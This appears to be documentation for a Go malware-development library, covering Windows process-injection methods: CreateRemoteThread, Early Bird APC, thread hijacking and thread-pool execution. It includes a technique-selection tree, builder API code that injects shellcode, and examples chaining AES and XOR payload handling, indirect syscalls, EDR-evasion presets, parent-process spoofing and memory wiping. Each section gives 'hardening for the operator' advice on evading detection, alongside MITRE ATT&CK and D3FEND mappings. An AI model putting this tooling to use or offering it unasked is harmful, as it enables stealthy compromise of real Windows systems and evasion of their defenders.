    M -->|child suspended| C[EarlyBird APC / Thread Hijack / spoofed args]
    M -->|existing PID| R[CRT / NtQueueApcThreadEx / SectionMap / KCT / PhantomDLL]
    S -->|via SelfInjector| SM[evasion/sleepmask]
    S -->|via SelfInjector| WM[cleanup/memory.WipeAndFree]

Target categories

The target column drives the OPSEC trade-off and the API surface the implant pays for.

TargetMeaningWho pays the costTypical syscalls
SelfShellcode runs in the current maldev-built process.Implant's own processnone cross-process — VirtualAlloc + exec
LocalSame as Self, but the technique deliberately avoids spawning a new thread (callback abuse, pool work, module stomping).Implant's own processVirtualAlloc + EnumWindows / TpPostWork / stomp
RemoteExisting PID supplied by the caller.Target PIDOpenProcess + VirtualAllocEx + WriteProcessMemory (or a section variant) + thread trigger
Child (suspended)Implant spawns a process in CREATE_SUSPENDED, mutates state, resumes.Newly-created childCreateProcess(SUSPENDED) + write + resume / APC / hijack

Stealth ranking by target (general): Local > Child (suspended) > Remote. Local avoids cross-process primitives; Child is acceptable because the process tree is predictable; Remote is the loudest — WriteProcessMemory into an unrelated running process is a textbook EDR trigger.

Per-method index

TechniqueMethod constantTargetCreates thread?Uses WriteProcessMemory?Stealth tier
CreateRemoteThreadMethodCreateRemoteThreadRemoteyesyeslow
Early Bird APCMethodEarlyBirdAPCChild (suspended)no (APC)yesmedium
Thread HijackMethodThreadHijackChild (suspended)noyesmedium
NtQueueApcThreadExMethodNtQueueApcThreadExRemoteno (special APC)yesmedium
Callback executionExecuteCallbackLocalnonohigh
Thread PoolThreadPoolExecLocalno (pool worker)nohigh
Module StompingModuleStompLocalcaller decidesnohigh
Section MappingSectionMapInjectRemoteyesnohigh
Phantom DLLPhantomDLLInjectRemote (placement only)no (caller)yesvery high
Kernel Callback TableKernelCallbackExecRemotenoyeshigh
EtwpCreateEtwThreadMethodEtwpCreateEtwThreadSelfyes (internal)nohigh
Process Argument SpoofingSpawnWithSpoofedArgsChild (suspended)n/a — disguiseyesmedium

Decision flow

flowchart TD
    Start([Need to run shellcode]) --> Q1{Self or remote?}
    Q1 -->|self-inject| Q2{Need memory stealth?}
    Q1 -->|remote process| Q3{Can spawn a new process?}

    Q2 -->|yes — image-backed| MS[Module Stomping]
    Q2 -->|no| Q4{Avoid thread creation?}

    Q4 -->|yes| CB[Callback execution]
    Q4 -->|pool is fine| TP[Thread Pool]
    Q4 -->|thread is fine| ETW[EtwpCreateEtwThread]

    Q3 -->|yes — cover for the spawn| Q5{Need APC stealth?}
    Q3 -->|no — existing PID| Q6{Avoid WriteProcessMemory?}

    Q5 -->|yes| EB[Early Bird APC]
    Q5 -->|register-mutate| TH[Thread Hijack]
    Q5 -->|disguise args too| AS[Process Arg Spoofing + EB/TH]

    Q6 -->|yes| SM[Section Mapping]
    Q6 -->|WPM is OK| Q7{Win10 1903+?}
    Q7 -->|yes| APCEX[NtQueueApcThreadEx]
    Q7 -->|either way| Q8{Target has windows?}
    Q8 -->|yes| KC[KernelCallbackTable]
    Q8 -->|no| CRT[CreateRemoteThread]

    style MS fill:#2d5016,color:#fff
    style SM fill:#2d5016,color:#fff
    style CB fill:#2d5016,color:#fff
    style TP fill:#2d5016,color:#fff
    style KC fill:#2d5016,color:#fff

Quick decision tree

You want to…Use
…self-inject without spawning a threadcallback-execution.md
…self-inject through a thread-pool workerthread-pool.md
…self-inject image-backed (memory looks like a normal module)module-stomping.md
…spawn a clean new process and queue shellcode pre-initearly-bird-apc.md
…inject into an existing PID with WPM allowedcreate-remote-thread.md
…inject into an existing PID without WriteProcessMemorysection-mapping.md
…blend with a mapped DLL on disk (path-spoof)phantom-dll.md
…land in the GUI message-loop callback tablekernel-callback-table.md
…pivot via a hijacked existing threadthread-hijack.md
…queue a Win10-1903+ APC (special)nt-queue-apc-thread-ex.md
…disguise the spawned child's argvprocess-arg-spoofing.md
…land via the EtwpCreateEtwThread trampolineetwp-create-etw-thread.md

Architecture

All methods implement Injector:

type Injector interface {
    Inject(shellcode []byte) error
}

Build() returns a fluent *InjectorBuilder that selects syscall mode (WinAPI / NativeAPI / direct / indirect with arbitrary SSNResolver), pins target, stacks middleware (WithValidation, WithCPUDelay, WithXOR), and emits an Injector.

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

The Pipeline pattern separates memory setup from execution, allowing mix-and-match combinations the named methods do not cover:

p := inject.NewPipeline(
    inject.RemoteMemory(hProcess, caller),
    inject.CreateRemoteThreadExecutor(hProcess, caller),
)
return p.Inject(shellcode)

SelfInjector — recovering the region

Self-process injectors (MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux) place the shellcode inside the current process. The base Injector interface throws the address away. The optional SelfInjector interface exposes it:

type Region struct {
    Addr uintptr
    Size uintptr
}

type SelfInjector interface {
    Injector
    InjectedRegion() (Region, bool)
}

Type-assert and feed the region directly into evasion/sleepmask:

inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
if err := inj.Inject(shellcode); err != nil { return err }

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(30 * time.Second)
        }
    }
}

Contract:

  • Returns (Region{}, false) before the first successful Inject.
  • Returns (Region{}, false) on cross-process methods (CRT, APC, EarlyBird, ThreadHijack, Rtl, NtQueueApcThreadEx) — the region lives in the target, not the implant.
  • A failed Inject does not clobber a previously-published region.
  • Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline forward InjectedRegion transparently.

[!WARNING] MethodCreateFiber noticeConvertThreadToFiber permanently transforms the calling OS thread; Go's M:N scheduler is unaware of fibers, and any goroutine multiplexed onto that thread observes fiber state instead of goroutine state. Real shellcode that calls ExitThread kills the host runtime. Spawn a true OS thread via kernel32!CreateThread (not go func()runtime.LockOSThread is not enough), let it run the fiber dance, let it die when the shellcode exits. The matrix test TestFiber_RealShellcode is permanently skipped — see the comment in inject/realsc_windows_test.go.

Syscall modes

Every Windows injection method routes through one of the four modes on the configured *wsyscall.Caller:

ModeConstantBypassesUse when
WinAPIwsyscall.MethodWinAPInothingtesting / no EDR
Native APIwsyscall.MethodNativeAPIkernel32 hookslight EDR
Direct syscallwsyscall.MethodDirectall userland hooksmedium EDR
Indirect syscallwsyscall.MethodIndirectuserland hooks + CFG checkheavy EDR

Pair with evasion/unhook to defeat ntdll inline hooks before the inject fires.

MITRE ATT&CK

T-IDNameMethodsD3FEND counter
T1055Process InjectionumbrellaD3-PSA
T1055.001DLL InjectionCRT, KCT, ModuleStomp, PhantomDLL, SectionMap, ThreadPool, CallbackD3-PSA / D3-PCSV
T1055.003Thread Execution HijackingThreadHijackD3-PSA
T1055.004Asynchronous Procedure CallEarlyBird, NtQueueApcThreadExD3-PSA
T1055.015ListPlantingCallback (CreateTimerQueueTimer)D3-PCSV
T1564.010Process Argument SpoofingSpawnWithSpoofedArgsD3-PSA
T1036.005Match Legitimate Name or Locationcombine with arg spoofingD3-PSA

See also

CreateRemoteThread injection

← injection index · docs/index

TL;DR

The classic, reliable, highly monitored primitive: open a handle to the target PID, allocate RW memory, write the shellcode, flip to RX, spawn a fresh thread at the shellcode address. Works on every Windows version. Choose this only when stealth is not the priority — it is the single most-watched injection path in the matrix.

Primer

CreateRemoteThread is the textbook process injection. The library opens a handle to a target PID with the four access rights that matter (PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_VM_READ, PROCESS_CREATE_THREAD), allocates a page of RW memory inside the target's address space, copies the shellcode in, raises the page to RX, and asks the kernel to spawn a fresh thread whose start address is the shellcode pointer.

Every step has been a known-bad pattern for over a decade. Defender, CrowdStrike, and SentinelOne hook every API in the chain plus the kernel callback PsSetCreateThreadNotifyRoutine. The technique still ships in this package because it is the baseline against which every stealth method measures itself — and because some legitimate debugging tools also use it, so a small amount of background noise exists.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target PID"

    Impl->>Kern: OpenProcess(VM_*, CREATE_THREAD)
    Kern-->>Impl: hProcess
    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Kern->>Tgt: page allocated
    Kern-->>Impl: remoteAddr
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Kern->>Tgt: bytes copied
    Impl->>Kern: NtProtectVirtualMemory(RX)
    Impl->>Kern: NtCreateThreadEx(remoteAddr)
    Kern->>Tgt: new thread @ shellcode
    Tgt->>Tgt: shellcode runs

Steps:

  1. Open the target with the four access rights.
  2. Allocate in the target via NtAllocateVirtualMemory (RW — never raw RWX, that's an extra signature).
  3. Write the shellcode with NtWriteVirtualMemory.
  4. Re-protect to RX with NtProtectVirtualMemory.
  5. Spawn with NtCreateThreadEx (or CreateRemoteThread if the caller selected wsyscall.MethodWinAPI).

The package fans out steps 2–5 through the configured *wsyscall.Caller, so the same code runs through WinAPI, NativeAPI, direct syscalls, or indirect syscalls depending on EDR posture.

API Reference

Method = MethodCreateRemoteThread

godoc

The constant "crt". Pass to Config.Method or InjectorBuilder.Method.

inject.DefaultWindowsConfig(method, pid) *WindowsConfig

godoc

Convenience constructor. Returns a *WindowsConfig with sensible defaults and the requested method + PID set.

Parameters:

  • methodMethodCreateRemoteThread.
  • pid — non-zero PID of the target process.

Returns: *WindowsConfig ready to pass to NewWindowsInjector.

inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)

godoc

Build an Injector for the configured method.

Returns:

  • Injector — call .Inject(shellcode) to perform the operation.
  • errorErrNotSupported if the method is unknown, or config-validation errors (PID required for cross-process methods, ProcessPath required for child-process methods).

Side effects: none until Inject is called.

OPSEC: very-noisy on Inject — see OPSEC & Detection below.

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(pid).
    IndirectSyscalls().                    // or .DirectSyscalls(), .NativeAPI(), .WinAPI()
    Use(inject.WithCPUDelayConfig(...)).   // optional middleware
    Create()

Build() returns an *InjectorBuilder. Method, TargetPID, *Syscalls, Use, and Create are the relevant methods for this technique.

Examples

Simple

cfg := inject.DefaultWindowsConfig(inject.MethodCreateRemoteThread, 1234)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls + caller chain)

Bypass userland hooks before the injection fires:

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(targetPID).
    IndirectSyscalls().
    Resolver(wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate())).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (encrypt + evade + inject + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(targetPID).
    IndirectSyscalls().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

Complex (Pipeline with custom memory + executor)

When the named methods do not fit, drop down to the Pipeline:

mem  := inject.RemoteMemory(hProcess, caller)
exec := inject.CreateRemoteThreadExecutor(hProcess, caller)
p    := inject.NewPipeline(mem, exec)
return p.Inject(shellcode)

This separates "where the bytes land" from "how they get triggered" — swap either side independently to build novel chains.

See ExampleNewWindowsInjector and ExampleBuild in inject_example_windows_test.go.

OPSEC & Detection

ArtefactWhere defenders look
OpenProcess with PROCESS_VM_* + PROCESS_CREATE_THREAD from a non-debugger processSysmon Event 10 (ProcessAccess), EDR kernel callback ObCallbackRegister
Cross-process NtWriteVirtualMemorySysmon does not log this directly; EDR userland hooks + kernel ETW (Microsoft-Windows-Kernel-Process)
NtCreateThreadEx start address outside any module imageEDR PsSetCreateThreadNotifyRoutine callback is the canonical detection — flags non-image-backed start addresses
Fresh remote thread with no legitimate call stackStack-walking telemetry (CrowdStrike, MDE) finds the orphan immediately
RWX page in target after NtProtectVirtualMemoryAllocation-protect telemetry — the package avoids this by allocating RW first then flipping to RX, but the X-flip itself is logged

D3FEND counters:

  • D3-PSA — process-spawn analysis correlates the OpenProcessCreateThread pair.
  • D3-EAL — code-integrity policies (WDAC) refuse non-image-backed thread start addresses.

Hardening for the operator: route all four NT calls through indirect syscalls (defeats userland hooks), unhook ntdll first (evasion/unhook), and prefer a different technique entirely if the target enforces ETW-Ti (Threat-Intelligence ETW provider). CRT remains useful only against light EDR or as a deliberately-loud feint.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionthread-creation variant of the classic shellcode-injection patternD3-PSA

Limitations

  • Highly visible. Treat as a baseline. Use only when EDR is light or absent.
  • PROCESS_CREATE_THREAD required in the access mask. Some hardened processes (PPL, anti-malware service) cannot be opened with this right.
  • Orphan call stack. The new thread has no legitimate caller history; stack-walking detection trivially flags it.
  • No PPL targets. Protected Process Light denies cross-process thread creation outright. Use a non-PPL target.

See also

  • Early Bird APC — same shape but APC-triggered, avoids the CreateThread event.
  • Thread Hijack — redirects an existing thread instead of creating one.
  • Section Mapping — same target shape but no WriteProcessMemory.
  • evasion/unhook — pair to defeat userland hooks before the injection.
  • win/syscall — the four syscall modes available to every method.

Early Bird APC injection

← injection index · docs/index

TL;DR

Spawn a sacrificial child in CREATE_SUSPENDED state, allocate + write + protect the shellcode in its address space, queue an APC on its main thread, then ResumeThread. The APC fires before the process entry point — no CreateRemoteThread event, no extra thread, predictable timing. Stealth tier: medium.

Primer

The classic CreateRemoteThread path is loud because the kernel emits a thread-creation event the moment the new thread starts. Early Bird APC sidesteps that by reusing the main thread of a freshly-spawned, suspended child process. The thread already exists (the kernel created it as part of CreateProcess); the implant queues an asynchronous procedure call (APC) on it that points at the shellcode, then resumes it. The kernel dispatches APCs as part of the thread's first user-mode instructions, so the shellcode runs before any of the target process's own initialisation — including CRT, before DllMain, before mainCRTStartup.

The technique is a known pattern (FireEye, FireEye Stories — Early Bird Code Injection, 2018). EDR products correlate CREATE_SUSPENDEDNtQueueApcThreadResumeThread and flag the chain. It still performs better than CRT against signature-based products and basic ETW-Ti consumers because no Create*Thread* API is invoked at all.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Child as "Child (e.g. notepad.exe, suspended)"

    Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
    Kern->>Child: process + main thread, frozen
    Kern-->>Impl: hProcess, hThread

    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Kern->>Child: page allocated
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Kern->>Child: bytes copied
    Impl->>Kern: NtProtectVirtualMemory(RX)

    Impl->>Kern: NtQueueApcThread(hThread, remoteAddr)
    Kern->>Child: APC queued (kernel APC list)
    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: APC dispatch fires before entry
    Child->>Child: shellcode runs, then process resumes

Steps:

  1. Spawn the sacrificial child with CREATE_SUSPENDED (default notepad.exe; pass ProcessPath to override).
  2. Allocate / write / protect in the child as for CRT.
  3. Queue APC on the main thread via NtQueueApcThread. The kernel inserts the routine pointer into the thread's user-mode APC queue.
  4. Resume the main thread. The kernel pops the APC before delivering control to the original entry point.

API Reference

Method = MethodEarlyBirdAPC

godoc

The constant "earlybird". Pass to Config.Method or InjectorBuilder.Method.

WindowsConfig.ProcessPath

godoc

Path to the sacrificial executable. Required for child-process methods. Default fallback: C:\Windows\System32\notepad.exe. Choose a binary that blends into the target's process tree (svchost.exe, RuntimeBroker.exe, WerFault.exe).

inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)

godoc

Same shape as the other Windows methods. Returns Injector to be called with .Inject(shellcode).

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Create()

Examples

Simple

cfg := &inject.WindowsConfig{
    Config: inject.Config{
        Method:      inject.MethodEarlyBirdAPC,
        ProcessPath: `C:\Windows\System32\notepad.exe`,
    },
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (sacrificial parent + indirect syscalls)

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (chain with evasion + sleep mask)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Minimal(), nil)

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\WerFault.exe`).
    IndirectSyscalls().
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 8_000_000})).
    WithFallback().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (parent-process spoofing for the spawn)

The package does not change the parent of the spawned child by itself; to set a non-explorer.exe parent (e.g. spawn under services.exe), combine with process/spoofparent:

// Pseudo-code illustrating the chain — the actual API is in
// process/spoofparent.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/spoofparent"
)

token, _ := spoofparent.AcquireParentToken("services.exe")
defer token.Close()

inj, err := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\svchost.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
spoofparent.RunAs(token, func() error { return inj.Inject(shellcode) })

See the per-method tests in inject/builder_test.go for runnable variations.

OPSEC & Detection

ArtefactWhere defenders look
Process spawned with CREATE_SUSPENDED flagSysmon Event 1 — CreationFlags includes 0x4. Defenders alert on notepad.exe / svchost.exe spawned suspended by an unusual parent
NtQueueApcThread to a thread of a freshly-spawned processEDR userland hooks + ETW-Ti ApcQueue events
Memory page in child written from outsideCross-process NtWriteVirtualMemory telemetry
Process tree mismatchA notepad.exe child of a non-explorer.exe parent is a strong signal

D3FEND counters:

  • D3-PSA — flags CREATE_SUSPENDED + queued APC sequences.
  • D3-PCSV — verifies that thread start addresses match a known image.

Hardening for the operator: randomise the sacrificial executable between runs; pair with PPID spoofing so the child looks like it belongs to its target parent; route the four NT calls through indirect syscalls so the userland-hook variant of the chain is invisible.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.004Process Injection: Asynchronous Procedure Callchild-process variant queued before any user-mode code runsD3-PSA

Limitations

  • Visible child process. A foreign notepad.exe (or whatever ProcessPath points at) appears under the implant's parent. Choose something that blends in, or pair with PPID spoofing.
  • Position-independent shellcode required. The APC fires before CRT initialisation; library functions and globals are not yet set up.
  • Child must stay alive. The shellcode runs in the child's process; if the child exits, the implant dies with it. Long-running payloads should detach (spawn a thread inside the child or LoadLibrary a DLL).
  • CREATE_SUSPENDED is signal. Even with PPID spoofing, the combination of suspended-spawn + early APC is a known FireEye-2018 pattern.

See also

Thread execution hijacking

← injection index · docs/index

TL;DR

Spawn a CREATE_SUSPENDED child, allocate + write + protect shellcode in its address space, then mutate its main thread's saved register state so RIP points at the shellcode before resuming. No new thread, no APC — the existing thread is redirected at the CPU-context level. Stealth tier: medium; the trade-off is a NtSetContextThread on a non-debugger flow, which EDR specifically watches.

Primer

CreateRemoteThread creates a new thread; EarlyBird queues an APC. Thread Execution Hijacking does neither — it abuses the fact that Windows lets a debugger (or anything with THREAD_GET_CONTEXT | THREAD_SET_CONTEXT) pause a thread, read its full register file, edit the instruction pointer, write the registers back, and resume. The implant takes the same path: pause → read CONTEXT → write Rip to the shellcode address → write back → ResumeThread.

The result is that the sacrificial child's main thread starts running at the shellcode address instead of the original entry point. No Create*Thread* event ever fires. The trade-off is the NtSetContextThread system call, which is unusual outside debugger workflows and is itself instrumented by every modern EDR.

The legacy alias MethodProcessHollowing points at this technique; genuine PE hollowing (overwriting the child's image with a different PE) is not implemented in this package.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Child as "Child (suspended)"

    Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
    Kern->>Child: process + main thread, frozen
    Kern-->>Impl: hProcess, hThread

    Impl->>Kern: NtAllocateVirtualMemory(RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(RX)

    Impl->>Kern: NtGetContextThread(hThread)
    Kern-->>Impl: CONTEXT (Rip = original entry)

    Impl->>Impl: ctx.Rip = remoteAddr
    Impl->>Kern: NtSetContextThread(hThread, ctx)
    Kern->>Child: thread Rip rewritten

    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: thread runs at shellcode address

Steps:

  1. Spawn the sacrificial child suspended.
  2. Allocate / write / protect the shellcode in the child.
  3. Get the main thread's CONTEXT (NtGetContextThread) — note that the kernel returns the saved register file because the thread is suspended.
  4. Mutate ctx.Rip (or Eip on x86) to the shellcode address.
  5. Set the modified CONTEXT back (NtSetContextThread).
  6. Resume the thread.

API Reference

Method = MethodThreadHijack

godoc

The constant "threadhijack". Pass to Config.Method or InjectorBuilder.Method.

Legacy alias MethodProcessHollowing

godoc

const MethodProcessHollowing = MethodThreadHijack

[!WARNING] The name is historical. This is Thread Execution Hijacking (T1055.003), not PE Hollowing (T1055.012). Prefer MethodThreadHijack in new code.

WindowsConfig.ProcessPath

Path to the sacrificial child (default notepad.exe). Required for this method.

inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)

godoc

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodThreadHijack).
    ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
    IndirectSyscalls().
    Create()

Examples

Simple

cfg := &inject.WindowsConfig{
    Config: inject.Config{
        Method:      inject.MethodThreadHijack,
        ProcessPath: `C:\Windows\System32\notepad.exe`,
    },
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls, hardened sacrificial parent)

inj, err := inject.Build().
    Method(inject.MethodThreadHijack).
    ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (preset evasion + thread hijack)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

inj, err := inject.Build().
    Method(inject.MethodThreadHijack).
    ProcessPath(`C:\Windows\System32\WerFault.exe`).
    IndirectSyscalls().
    Use(inject.WithXORKey(0xA5)).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (Pipeline equivalent)

Pipeline does not have a packaged ThreadHijackExecutor (it would need a saved CONTEXT and a thread handle); the named-method path is the supported one. For experimental setups, replicate the logic in inject/injector_remote_windows.go.

OPSEC & Detection

ArtefactWhere defenders look
CREATE_SUSPENDED child of an unusual parentSysmon Event 1 (CreationFlags)
NtSetContextThread on a thread of a freshly-spawned processEDR-Ti providers, userland hooks. Outside debugger workflows this is a high-fidelity signal
Cross-process NtWriteVirtualMemoryEDR userland + ETW
Modified Rip in CONTEXT pointing into a non-image-backed regionEDR memory scanners on the child
Process tree mismatchnotepad.exe child of a non-explorer.exe parent

D3FEND counters:

  • D3-PSACREATE_SUSPENDED + register mutation is the textbook hollowing-family chain.
  • D3-PCSV — verifies thread Rip against image segments.

Hardening for the operator: route NT calls through indirect syscalls; pair with PPID spoofing; choose a sacrificial process whose own initialisation does not race the shellcode (avoid heavyweight binaries that spawn workers immediately).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.003Process Injection: Thread Execution Hijackingsuspended-child variantD3-PSA

Limitations

  • x64 only in the current implementation (CONTEXT.Rip). x86 would need Eip and a different CONTEXT flags mask.
  • Original entry point never runs. The sacrificial process never reaches its real main. If the shellcode does not hand control back, the child appears to have started and immediately died — a small but non-zero behavioural anomaly.
  • NtSetContextThread is high-signal. EDRs that miss the CREATE_SUSPENDED flag still catch the context modification. Direct/indirect syscalls help against userland hooks but not against ETW-Ti.
  • Race-prone for fast spawns. Some sacrificial binaries (csrss.exe adjacents, lightly-instrumented processes) finish initial setup before NtGetContextThread returns. Stick to well-behaved utilities.

See also

Thread pool injection

← injection index · docs/index

TL;DR

Drop a work item onto the process's default thread pool via the undocumented TpAllocWork / TpPostWork / TpReleaseWork triplet in ntdll. An idle worker thread that already exists picks the item up and runs the shellcode as a normal callback. No CreateThread, no NtCreateThreadEx, no APC. Local-only.

Primer

Every Windows process has a default thread pool — a small ring of worker threads created by RtlpInitializeThreadPool early in process startup. The pool's purpose is to dispatch arbitrary work items submitted by kernel32!QueueUserWorkItem, ntdll!TpPostWork, and the modern CreateThreadpoolWork family. The implant abuses the ntdll-private layer: TpAllocWork(callback, ctx, env) builds a TP_WORK object whose callback pointer is the shellcode, TpPostWork pushes it onto the queue, and one of the existing workers dequeues and dispatches it.

The result is execution on a thread that the implant did not create and the EDR did not see being created. The same TP_WORK object is the textbook plumbing every well-behaved Windows process uses dozens of times per second; the only anomaly is the callback target itself.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Nt as "ntdll"
    participant Pool as "Default thread pool"
    participant W as "Worker thread"

    Impl->>Impl: VirtualAlloc(RW) + memcpy
    Impl->>Impl: VirtualProtect(RX)
    Impl->>Nt: TpAllocWork(&work, sc, 0, 0)
    Nt-->>Impl: TP_WORK*
    Impl->>Nt: TpPostWork(work)
    Nt->>Pool: enqueue
    Pool->>W: dispatch
    W->>W: shellcode runs as callback
    Impl->>Nt: TpWaitForWork(work, false)
    Note over Impl: blocks until callback returns
    Impl->>Nt: TpReleaseWork(work)

Steps:

  1. Allocate / write / protect in the current process — RW first, then RX.
  2. TpAllocWork — register the shellcode as the callback.
  3. TpPostWork — submit the work item.
  4. Worker dispatch — an existing pool worker dequeues and calls the callback (the shellcode).
  5. TpWaitForWork — block to guarantee completion before TpReleaseWork frees the object underneath the running callback.
  6. TpReleaseWork — clean up.

API Reference

inject.ThreadPoolExec(shellcode []byte) error

godoc

Execute shellcode on the current process's default thread pool. Owns allocation (RW → RX), the TpAllocWork/TpPostWork/TpWaitForWork/ TpReleaseWork lifecycle, and cleanup.

Parameters:

  • shellcode — bytes to execute. The function copies them into a freshly allocated RW page, flips to RX, then dispatches.

Returns: error — wraps ntdll failures and protection-flip errors. nil only after the shellcode callback returns.

Side effects: allocates len(shellcode)-rounded-up RX page in the current process. The page is not released — wipe it with cleanup/memory.WipeAndFree when done.

OPSEC: the callback target is the only anomaly. Pair with ModuleStomp to make it image-backed.

inject.ThreadPoolExecCET(shellcode []byte) error

godoc

CET-aware wrapper around ThreadPoolExec. Calls cet.Wrap on the shellcode when cet.Enforced is true, then forwards to ThreadPoolExec.

Why future-proofed. Current shipping Windows builds do not enforce CET on the thread-pool dispatcher — meaning plain ThreadPoolExec works fine today. If a future Windows build flips the dispatcher to ENDBR64-required (the same model KiUserApcDispatcher uses), implants built against this helper keep working without a code change. The cost of a no-op wrap on non-enforced hosts is 4 bytes of shellcode prefix.

Parameters / Returns / Side effects: identical to ThreadPoolExec.

Required privileges: unprivileged.

Platform: windows amd64.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.ThreadPoolExec(shellcode); err != nil {
    return err
}

Simple — future-proofed (CET-aware)

// Same code, no per-call decisions. Wraps with cet.Wrap when
// cet.Enforced() flips true on a future Win build; no-op today.
if err := inject.ThreadPoolExecCET(shellcode); err != nil {
    return err
}

Composed (ModuleStomp + manual TpAllocWork)

ThreadPoolExec is a one-shot helper. To make the callback target image-backed, stomp first and call TpAllocWork manually — see inject/threadpool_windows.go for the call shape:

import "github.com/oioio-space/maldev/inject"

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// dispatch via TpAllocWork(addr, ...) — see source for full snippet
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Advanced (chain with evasion preset)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)
return inject.ThreadPoolExec(shellcode)

Complex (decrypt + thread-pool + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

if err := inject.ThreadPoolExec(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
